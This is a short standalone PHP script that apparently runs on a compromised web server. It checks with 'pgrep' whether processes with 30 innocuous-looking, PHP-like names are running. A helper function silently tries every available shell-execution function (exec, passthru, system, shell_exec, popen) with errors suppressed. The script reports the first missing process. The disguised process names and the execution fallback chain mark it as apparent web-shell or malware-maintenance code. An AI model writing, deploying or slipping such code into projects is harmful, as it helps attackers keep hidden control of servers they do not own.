<?php   $files = ['pivottable.inc','action.default','qtype_match','psigate_xml','sessionRead','creditwizard.inc','smalltalk','discuz_version','method.install','ShortModifiers','view_create','shCacheContent','cma_m_mailprefs','consulta','sched_turns','skipfiles','setgrands','under_buttons','pj_toolbar_php','sampleform.inc','cp.topic','xorg_conf','class.dynamic','modifier.utf8','aidonate','tax_classes','gd_detect','update025','sysinfo_phpinfo','ImgRequired']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }